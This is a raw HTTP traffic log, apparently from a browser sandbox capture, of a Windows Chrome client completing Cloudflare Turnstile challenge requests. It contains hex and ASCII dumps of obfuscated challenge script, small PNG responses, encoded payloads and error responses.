2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 27 2c 45 29 26 26 21 67 5b 68 45 28 38 38 37 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 45 28 31 34 35 33 29 5d 28 68 45 28 38 34 33 29 2c 69 2b 44 29 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 6f 5b 68 45 28 37 34 38 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 7d 65 6c 73 65 20 6f 5b 68 45 28 38 36 36 29 5d 28 73 2c 69 2b 44 2c 45 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 68 46 29 7b 68 46 3d 68 45 2c 4f 62 6a 65 63 74 5b 68 46 28 31 35 32 32 29 5d 5b 68 46 28 34 37 35 29 5d 5b 68 46 28 37 31 36 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 68 46 28 38 37 36 29 5d 28 47 29 7d 7d 2c 66 72 3d 67 4a 28 32 31 31 29 5b 67 4a 28 31 30 34 31 29 5d 28 27 3b 27 29 2c 66 73 3d 66 72 5b 67 4a 28 35 30 36 29 5d 5b Data Ascii: ',E)&&!g[hE(887)](h[D]),o[hE(1453)](hE(843),i+D)?s(i+D,E):F\|\|s(o[hE(748)](i,D),h[D])}else o[hE(866)](s,i+D,E);return j;function s(G,H,hF){hF=hE,Object[hF(1522)][hF(475)][hF(716)](j,H)\|\|(j[H]=[]),j[H][hF(876)](G)}},fr=gJ(211)[gJ(1041)](';'),fs=fr[gJ(506)][

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:49 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:49 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9204aa6be92c41af-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:49 UTC	425	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:50 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9204aa702a2c8cc5-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:50 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:50 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3486 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: 8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:50 UTC	3486	OUT	Data Raw: 30 53 56 79 38 79 5a 79 57 79 4c 79 42 34 63 66 34 63 67 79 34 32 71 5a 46 6b 34 38 63 46 63 36 4b 32 75 47 69 63 6c 31 63 31 32 6f 6e 6f 65 63 54 69 63 53 51 69 6f 6d 6e 51 63 38 69 31 6a 6f 61 63 64 32 63 68 36 69 49 49 69 63 49 75 71 79 71 47 56 50 79 75 6e 63 72 47 77 63 63 52 35 70 32 34 68 63 64 51 4f 71 2d 6f 32 4e 31 5a 63 6d 34 79 71 30 48 61 33 63 46 30 62 50 74 4a 7a 6f 47 63 77 24 37 78 4e 39 2b 70 6b 5a 6a 63 34 78 69 63 4b 79 6f 52 72 56 50 6c 75 71 24 4b 32 69 6f 36 63 6f 55 62 56 35 42 36 58 39 7a 2b 77 58 39 64 24 68 32 6a 63 75 7a 32 32 65 32 63 6d 79 24 56 38 71 6f 5a 58 7a 31 53 41 79 6f 70 63 70 39 7a 63 64 7a 63 6b 42 4b 47 69 57 67 69 6a 71 65 7a 63 35 53 2b 79 74 6f 48 52 35 32 5a 38 33 69 63 79 61 4c 5a 30 79 71 34 79 73 63 4d 68 Data Ascii: 0SVy8yZyWyLyB4cf4cgy42qZFk48cFc6K2uGicl1c12onoecTicSQiomnQc8i1joacd2ch6iIIicIuqyqGVPyuncrGwccR5p24hcdQOq-o2N1Zcm4yq0Ha3cF0bPtJzoGcw$7xN9+pkZjc4xicKyoRrVPluq$K2io6coUbV5B6X9z+wX9d$h2jcuz22e2cmy$V8qoZXz1SAyopcp9zcdzckBKGiWgijqezc5S+ytoHR52Z83icyaLZ0yq4yscMh
2025-03-14 15:04:50 UTC	1091	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:50 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 231436 Connection: close cf-chl-gen: narQfSGI2BDgYAeFdBStnLKngsjxE1rlqJYtvEmvePogk6wXrMm7oPWTeubah+ezbM5rWSEaryK+TF1oejFOpLWFDMhHakANo0vMBAcCnjptbObtG22HOtGhXcmaYnNonTP2vOcUtf4SYbonq9C0DfskoSiv86B/QZk8hFWyfuhloANsnDG5n54QAPRFhG/3xK5uHQSe8Pa4q8+EoKFGHOxLb7xMVkBzH9sr7VWgAlxrAYeS/qnrqRL56DjZMpJ8DXHMdOJxmUgXqlKodv3wJZNy4OyctwzZX2AK9Fc8sv024WcPVH/oHFoOqwqqjAqONIzsqgNs/9CBb2UWJsoj3Qi4MOp0deqlzZ/SEADbB2MYw9cqvrWPfs1Yb2lu+hUCTT94cXpSUifgsKcfmRr2IOJdeWhth5U5LEKA4GAgPvb3kDyW83PTxxzals6ND6inD+tfMgTZTtx8/YGDCcnLdda9NR5GI3+DvSvbwriAYihxhuURe4lMi2W6qB44EwDwpllbedlfpz7hSBT0Zrq3F6wK4pbfMVpsWx3zefNLKFRFYyt64k6HmBGqkxT0h4w2MrlhThiq31tuGT+alnl4qE1zirbQXAFoLGrDUO9ZDLU/kx5rMdMjKHtbJEOH8jaWeNJL/J88oL/rMLsicy5vlBbK+YeTiJBXEBsSmL7bcUixx5jOWo27IM1zxL/ur5cOoaJaFssJYhCxQON7gZnVTtAlJ874IduafBS1ueMtXxmM4hItJrCBVTgOx3oQMQ0XsLr2Nsl7IDoOyrvJQKB57q4BL7/AU02m/d7QgM5QYWWoSm6B0qV6zpsoW+QiX6tM$AtxAA635XSZYuzReTJ0CPg== Server: cloudflare CF-RAY: 9204aa731c4c43b7-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:50 UTC	278	IN	Data Raw: 61 6d 35 6e 55 47 79 50 6e 49 31 39 56 33 75 4f 56 58 32 5a 66 4a 4f 47 70 4b 69 4d 6f 58 70 71 68 58 71 6f 68 57 75 4a 71 58 4a 78 64 62 61 58 65 70 4b 31 6a 61 43 74 65 33 39 2f 77 72 65 77 78 73 4b 69 67 62 37 4c 6d 49 57 65 71 4d 62 44 6e 4d 32 39 6a 38 69 33 71 4a 71 6c 79 74 75 2f 71 73 2f 54 75 4b 76 69 32 39 4f 65 74 4d 6e 62 35 2b 57 6e 7a 2b 37 47 75 62 79 2f 71 71 33 30 35 2b 37 58 30 2b 2b 33 30 39 48 75 30 66 6a 73 38 39 4b 37 78 73 4d 49 42 50 62 48 44 41 6a 71 33 65 62 37 38 64 37 64 34 4f 77 53 41 77 30 4a 2b 41 37 78 45 2f 51 67 47 52 66 75 2f 43 54 6b 4a 52 45 66 48 78 2f 35 48 65 54 6e 49 79 44 77 38 42 34 33 43 52 67 55 4d 50 49 51 4c 76 30 48 46 52 33 34 2f 68 6f 50 41 6b 41 6f 47 30 4e 49 54 44 68 4e 49 53 45 49 4c 46 45 4e 4c 6b 77 Data Ascii: am5nUGyPnI19V3uOVX2ZfJOGpKiMoXpqhXqohWuJqXJxdbaXepK1jaCte39/wrewxsKigb7LmIWeqMbDnM29j8i3qJqlytu/qs/TuKvi29OetMnb5+Wnz+7Guby/qq305+7X0++309Hu0fjs89K7xsMIBPbHDAjq3eb78d7d4OwSAw0J+A7xE/QgGRfu/CTkJREfHx/5HeTnIyDw8B43CRgUMPIQLv0HFR34/hoPAkAoG0NITDhNISEILFENLkw
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 6b 33 4f 56 73 35 62 57 5a 50 57 47 49 78 52 43 31 30 50 6b 4d 79 64 7a 46 34 5a 58 31 66 55 58 46 4b 64 47 77 37 56 45 4f 41 55 57 42 6a 66 58 78 65 67 6c 6c 2f 69 47 68 64 64 49 75 53 59 59 69 50 62 48 43 4f 56 58 75 49 64 5a 70 78 64 36 4e 6c 66 58 4e 66 66 5a 71 45 68 48 2b 43 5a 59 56 35 6a 4c 53 6f 6c 4c 65 70 68 34 47 61 6a 6f 71 37 71 36 71 63 6b 37 4f 31 78 4d 58 43 68 34 47 71 67 36 61 35 79 63 43 63 6e 4a 6d 71 71 5a 32 76 70 63 53 6c 7a 70 57 59 7a 38 71 72 6c 64 4b 68 6f 63 47 68 74 62 43 7a 31 36 54 69 32 4e 2f 71 35 64 36 76 32 72 4c 7a 36 4b 36 74 76 38 50 6f 31 74 54 4a 2b 2f 54 65 7a 64 72 64 31 38 49 46 75 4e 6e 78 35 77 4c 4a 37 63 62 2b 32 50 37 67 33 77 7a 4e 7a 51 45 4d 31 75 4c 70 30 66 33 5a 47 77 34 55 41 68 50 38 34 41 48 2b 38 Data Ascii: k3OVs5bWZPWGIxRC10PkMydzF4ZX1fUXFKdGw7VEOAUWBjfXxegll/iGhddIuSYYiPbHCOVXuIdZpxd6NlfXNffZqEhH+CZYV5jLSolLeph4Gajoq7q6qck7O1xMXCh4Gqg6a5ycCcnJmqqZ2vpcSlzpWYz8qrldKhocGhtbCz16Ti2N/q5d6v2rLz6K6tv8Po1tTJ+/Tezdrd18IFuNnx5wLJ7cb+2P7g3wzNzQEM1uLp0f3ZGw4UAhP84AH+8
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 4b 63 54 74 52 54 57 6b 72 61 6b 68 50 64 47 78 78 64 6c 6c 63 4f 54 39 52 59 54 78 44 51 6c 57 43 50 33 70 64 58 33 74 35 5a 48 68 5a 58 32 5a 37 63 56 4e 72 63 49 4f 49 62 35 6d 45 64 57 39 56 63 6e 64 71 64 59 4f 46 6e 70 36 48 6f 5a 5a 70 6f 5a 5a 70 71 48 70 38 6b 35 75 6b 67 6f 75 79 6a 61 32 53 73 61 53 49 6a 4a 71 64 6f 72 75 2f 76 72 47 77 6b 4d 57 6a 6e 59 6a 47 72 73 4f 68 75 37 47 75 76 6f 2f 44 71 64 69 55 77 62 76 48 6d 4c 33 52 75 37 57 34 77 72 4c 61 73 37 65 6a 30 38 65 2f 6f 64 6e 63 71 4d 50 64 75 36 75 38 77 4d 62 4b 7a 73 48 45 31 63 50 63 37 75 6a 57 33 63 72 72 2b 50 47 2f 32 4f 48 78 36 65 50 5a 43 74 66 37 32 39 33 48 38 77 48 6f 2f 68 44 75 47 75 49 49 39 64 58 64 45 41 7a 59 48 64 6a 33 47 42 76 31 49 42 55 4a 35 50 30 74 37 53 Data Ascii: KcTtRTWkrakhPdGxxdllcOT9RYTxDQlWCP3pdX3t5ZHhZX2Z7cVNrcIOIb5mEdW9VcndqdYOFnp6HoZZpoZZpqHp8k5ukgouyja2SsaSIjJqdoru/vrGwkMWjnYjGrsOhu7Guvo/DqdiUwbvHmL3Ru7W4wrLas7ej08e/odncqMPdu6u8wMbKzsHE1cPc7ujW3crr+PG/2OHx6ePZCtf7293H8wHo/hDuGuII9dXdEAzYHdj3GBv1IBUJ5P0t7S
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 50 33 64 68 65 6c 4a 51 65 7a 5a 38 4e 6d 70 62 54 46 4e 53 54 6c 34 39 52 32 46 62 68 32 42 46 5a 49 64 4b 58 57 61 4e 62 6f 68 65 6b 58 64 6f 6c 32 6c 35 69 6c 65 59 62 48 4b 62 6b 48 57 46 66 4a 43 65 6b 6e 71 59 66 57 56 6c 72 61 74 6a 66 47 57 78 69 34 43 31 67 37 71 4b 6a 59 36 63 6d 48 78 37 71 70 36 36 6f 4c 65 62 70 36 4b 41 69 70 2b 6c 68 5a 2b 61 6d 73 6e 49 30 63 36 6f 6b 61 4c 53 6a 39 47 6c 72 4d 71 32 71 64 57 77 32 61 48 50 73 39 48 63 31 4e 33 55 33 4c 7a 4a 37 74 36 39 32 62 76 74 36 72 44 6c 38 61 37 6e 39 4e 65 37 2f 4e 62 54 7a 76 44 4f 79 39 50 30 7a 75 2f 6b 77 74 6e 64 36 75 6e 37 34 4e 2f 44 43 74 45 47 44 64 50 75 44 65 72 6f 38 50 7a 2b 48 2f 59 53 33 66 54 36 49 52 45 64 34 42 48 6e 48 42 77 47 36 41 77 6c 4d 68 41 54 35 53 54 Data Ascii: P3dhelJQezZ8NmpbTFNSTl49R2Fbh2BFZIdKXWaNbohekXdol2l5ileYbHKbkHWFfJCeknqYfWVlratjfGWxi4C1g7qKjY6cmHx7qp66oLebp6KAip+lhZ+amsnI0c6okaLSj9GlrMq2qdWw2aHPs9Hc1N3U3LzJ7t692bvt6rDl8a7n9Ne7/NbTzvDOy9P0zu/kwtnd6un74N/DCtEGDdPuDero8Pz+H/YS3fT6IREd4BHnHBwG6AwlMhAT5ST
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 48 68 58 4e 7a 38 33 65 6c 64 34 65 6d 47 45 59 48 39 64 65 57 5a 31 53 49 70 50 69 57 47 54 53 35 46 6d 68 58 65 4e 57 57 78 53 57 35 68 77 65 6f 70 65 64 59 43 59 6f 4a 4e 36 64 32 61 4b 71 57 4f 76 69 33 69 50 68 48 32 31 72 62 57 6b 72 4c 53 33 64 35 71 30 71 58 78 37 6f 49 35 35 67 37 52 2b 79 4a 33 47 74 62 61 4d 78 61 2f 4b 76 63 65 4e 76 4a 50 44 74 59 32 6d 78 72 48 59 70 61 57 35 6e 64 54 67 79 39 69 33 7a 71 53 39 78 72 61 2b 36 72 79 6c 32 63 62 45 71 76 4c 4b 73 4d 62 4b 38 75 32 30 34 2b 54 4d 37 62 58 37 30 73 7a 2b 33 76 62 32 42 4f 4c 56 77 66 59 41 41 41 44 2b 36 67 58 5a 44 2f 4d 45 46 41 7a 6c 43 52 45 4a 35 42 49 61 43 75 66 61 36 77 54 75 48 42 6e 64 47 43 6b 46 4c 41 6b 41 44 65 33 35 36 42 48 77 4c 53 63 73 38 53 59 50 39 68 55 54 Data Ascii: HhXNz83eld4emGEYH9deWZ1SIpPiWGTS5FmhXeNWWxSW5hweopedYCYoJN6d2aKqWOvi3iPhH21rbWkrLS3d5q0qXx7oI55g7R+yJ3GtbaMxa/KvceNvJPDtY2mxrHYpaW5ndTgy9i3zqS9xra+6ryl2cbEqvLKsMbK8u204+TM7bX70sz+3vb2BOLVwfYAAAD+6gXZD/MEFAzlCREJ5BIaCufa6wTuHBndGCkFLAkADe356BHwLScs8SYP9hUT
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 46 50 56 7a 35 59 65 47 70 46 50 59 32 4a 54 48 74 51 6b 6f 5a 38 6a 59 42 65 64 6f 6d 55 64 70 4f 54 68 59 61 58 67 4a 32 51 69 33 78 35 6f 48 2b 67 66 6f 75 4a 66 35 71 6d 6e 57 31 75 62 72 43 4e 6f 58 4f 6f 75 62 61 58 69 4b 35 39 65 37 61 62 66 4c 75 57 67 61 47 2b 72 34 47 68 77 34 69 74 6e 61 4f 4f 77 4b 4c 4a 79 37 32 69 78 71 37 50 32 64 48 45 71 73 66 57 6e 4c 4f 59 77 70 2b 2b 35 63 4f 32 78 75 72 59 70 74 69 6e 33 4c 37 75 79 65 37 72 33 2f 4f 79 79 4e 44 72 75 74 4c 57 74 37 72 4f 2b 62 50 38 2f 4f 49 43 2f 73 62 47 43 75 54 42 33 64 6a 6b 78 77 30 48 38 77 37 6c 41 4f 62 56 45 4f 55 4c 32 4e 7a 5a 38 52 2f 74 46 2f 37 37 37 67 62 79 49 66 73 67 2b 51 59 69 33 78 6a 73 42 50 6e 6f 46 43 45 31 4d 79 76 75 39 6a 6b 71 4f 7a 30 30 45 77 73 42 46 Data Ascii: FPVz5YeGpFPY2JTHtQkoZ8jYBedomUdpOThYaXgJ2Qi3x5oH+gfouJf5qmnW1ubrCNoXOoubaXiK59e7abfLuWgaG+r4Ghw4itnaOOwKLJy72ixq7P2dHEqsfWnLOYwp++5cO2xurYptin3L7uye7r3/OyyNDrutLWt7rO+bP8/OIC/sbGCuTB3djkxw0H8w7lAObVEOUL2NzZ8R/tF/777gbyIfsg+QYi3xjsBPnoFCE1Myvu9jkqOz00EwsBF
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 72 57 6d 70 5a 65 57 4a 6f 53 57 4e 65 63 6d 5a 78 68 59 2b 61 5a 70 4a 7a 6a 32 70 58 63 4b 4b 63 58 33 70 76 5a 5a 64 2b 68 47 56 6d 67 6f 64 2b 61 34 43 68 63 61 69 4b 6b 49 5a 78 6b 49 78 79 76 4c 79 56 6c 61 36 72 72 71 4f 37 70 5a 6e 43 67 63 4b 41 6c 36 57 68 76 6f 36 33 78 73 69 69 77 4a 50 54 30 4a 57 34 73 4b 79 52 75 4e 58 52 79 39 75 74 30 37 79 34 30 4e 43 2f 30 64 6a 4b 78 74 65 31 71 4f 2f 6a 37 66 4c 6d 7a 73 6a 77 36 66 66 36 38 62 58 48 76 62 58 48 2b 62 7a 64 32 4e 6e 51 30 4f 38 48 38 2b 73 48 79 2b 72 6b 36 4f 34 4b 30 4d 73 4d 31 4f 4c 67 46 65 51 61 32 50 48 33 43 68 62 7a 48 50 4c 78 4a 65 45 45 43 42 37 2b 38 76 34 74 43 53 6f 77 38 41 54 37 43 79 4c 7a 45 41 59 61 4a 6a 55 4b 4c 7a 4d 55 2b 69 77 33 51 76 6b 30 4a 53 41 2f 4e 6a Data Ascii: rWmpZeWJoSWNecmZxhY+aZpJzj2pXcKKcX3pvZZd+hGVmgod+a4ChcaiKkIZxkIxyvLyVla6rrqO7pZnCgcKAl6Whvo63xsiiwJPT0JW4sKyRuNXRy9ut07y40NC/0djKxte1qO/j7fLmzsjw6ff68bXHvbXH+bzd2NnQ0O8H8+sHy+rk6O4K0MsM1OLgFeQa2PH3ChbzHPLxJeEECB7+8v4tCSow8AT7CyLzEAYaJjUKLzMU+iw3Qvk0JSA/Nj
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 65 30 32 4d 54 57 46 6c 66 32 6c 55 59 6d 74 54 6d 6e 79 50 6b 6f 71 44 65 6f 42 6b 67 35 75 57 5a 33 4b 59 6c 49 69 70 72 5a 46 38 63 71 35 2f 64 48 57 46 73 4c 57 36 72 48 4b 6d 74 33 61 38 6d 4a 32 4d 66 34 4b 76 76 37 57 36 67 6f 57 44 70 62 71 64 30 63 47 67 30 73 75 69 78 64 69 52 77 74 6a 59 76 4b 6e 4a 74 62 71 59 75 38 32 34 77 62 76 50 79 4d 71 6a 77 61 6d 2f 79 2b 47 72 76 2f 44 6b 38 63 58 6b 31 61 72 71 32 73 65 37 33 50 72 55 38 76 6a 2b 37 2f 6a 6d 30 38 66 38 36 76 4c 73 2f 64 72 5a 36 75 66 77 79 4e 7a 6f 46 41 54 76 39 52 6a 4d 43 77 67 49 37 50 59 42 48 77 4d 44 38 65 37 32 46 76 62 62 48 51 7a 31 43 50 73 62 2b 79 6b 50 43 67 55 58 39 68 67 4c 44 66 41 6f 39 78 49 30 48 6a 6a 7a 43 78 58 2b 45 53 41 43 52 53 45 32 4f 6b 45 35 54 54 77 Data Ascii: e02MTWFlf2lUYmtTmnyPkoqDeoBkg5uWZ3KYlIiprZF8cq5/dHWFsLW6rHKmt3a8mJ2Mf4Kvv7W6goWDpbqd0cGg0suixdiRwtjYvKnJtbqYu824wbvPyMqjwam/y+Grv/Dk8cXk1arq2se73PrU8vj+7/jm08f86vLs/drZ6ufwyNzoFATv9RjMCwgI7PYBHwMD8e72FvbbHQz1CPsb+ykPCgUX9hgLDfAo9xI0HjjzCxX+ESACRSE2OkE5TTw
2025-03-14 15:04:50 UTC	1369	IN	Data Raw: 57 70 50 65 57 64 53 61 47 69 4d 63 6e 71 65 6f 48 43 69 6a 33 4a 37 6c 59 42 69 6d 71 69 5a 70 4b 5a 36 66 61 31 71 6f 58 53 76 62 6d 74 31 6b 58 68 76 66 4c 4e 2b 76 62 64 35 77 71 61 62 74 33 36 69 71 71 75 61 79 36 4b 76 6d 63 53 4a 71 38 54 55 31 4d 57 74 6f 72 4b 5a 31 70 75 71 7a 35 79 33 32 64 65 57 70 4c 47 7a 32 38 4b 35 77 4b 66 6e 34 4f 6a 50 33 63 75 71 73 39 33 4a 31 64 4b 35 35 4e 58 35 7a 74 4c 49 79 77 50 72 2b 38 50 6b 38 66 4c 32 31 63 4c 56 35 67 41 4f 34 65 7a 6a 42 64 4d 43 7a 51 44 73 36 64 45 51 47 75 62 75 31 76 37 77 48 65 4c 75 46 66 44 77 48 51 51 46 4a 66 58 69 49 67 4d 72 45 41 44 73 37 7a 45 50 4c 69 63 7a 2b 42 6a 36 47 42 4d 30 47 50 34 36 46 2f 6b 79 4f 53 42 42 45 7a 63 32 49 69 56 4a 42 55 6b 4f 4a 68 39 48 4e 51 30 53 Data Ascii: WpPeWdSaGiMcnqeoHCij3J7lYBimqiZpKZ6fa1qoXSvbmt1kXhvfLN+vbd5wqabt36iqquay6KvmcSJq8TU1MWtorKZ1puqz5y32deWpLGz28K5wKfn4OjP3cuqs93J1dK55NX5ztLIywPr+8Pk8fL21cLV5gAO4ezjBdMCzQDs6dEQGubu1v7wHeLuFfDwHQQFJfXiIgMrEADs7zEPLicz+Bj6GBM0GP46F/kyOSBBEzc2IiVJBUkOJh9HNQ0S

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:51 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:51 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 14 Mar 2025 15:04:51 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: YtUk2aiifEa9BCO80ZsXCik6C6OWH5S2Y+zqK9+oiKIAfU9jj0pBpEavziUv4iTo5Xz/JhYjrnsTdJyWEEcFCA==$CoW2SX8rtYoRG+4Q1KbXfg== Server: cloudflare CF-RAY: 9204aa7b2e038cec-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:51 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:52 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/9204aa6769be577b/1741964690440/71a107cd5447f57b2c5756f4a94883fec5ebe127dce038cb26b3ae440004ee7f/2fcOOZH0I5q3Jx2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:52 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 14 Mar 2025 15:04:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-14 15:04:52 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 63 61 45 48 7a 56 52 48 39 58 73 73 56 31 62 30 71 55 69 44 5f 73 58 72 34 53 66 63 34 44 6a 4c 4a 72 4f 75 52 41 41 45 37 6e 38 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gcaEHzVRH9XssV1b0qUiD_sXr4Sfc4DjLJrOuRAAE7n8AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-14 15:04:52 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
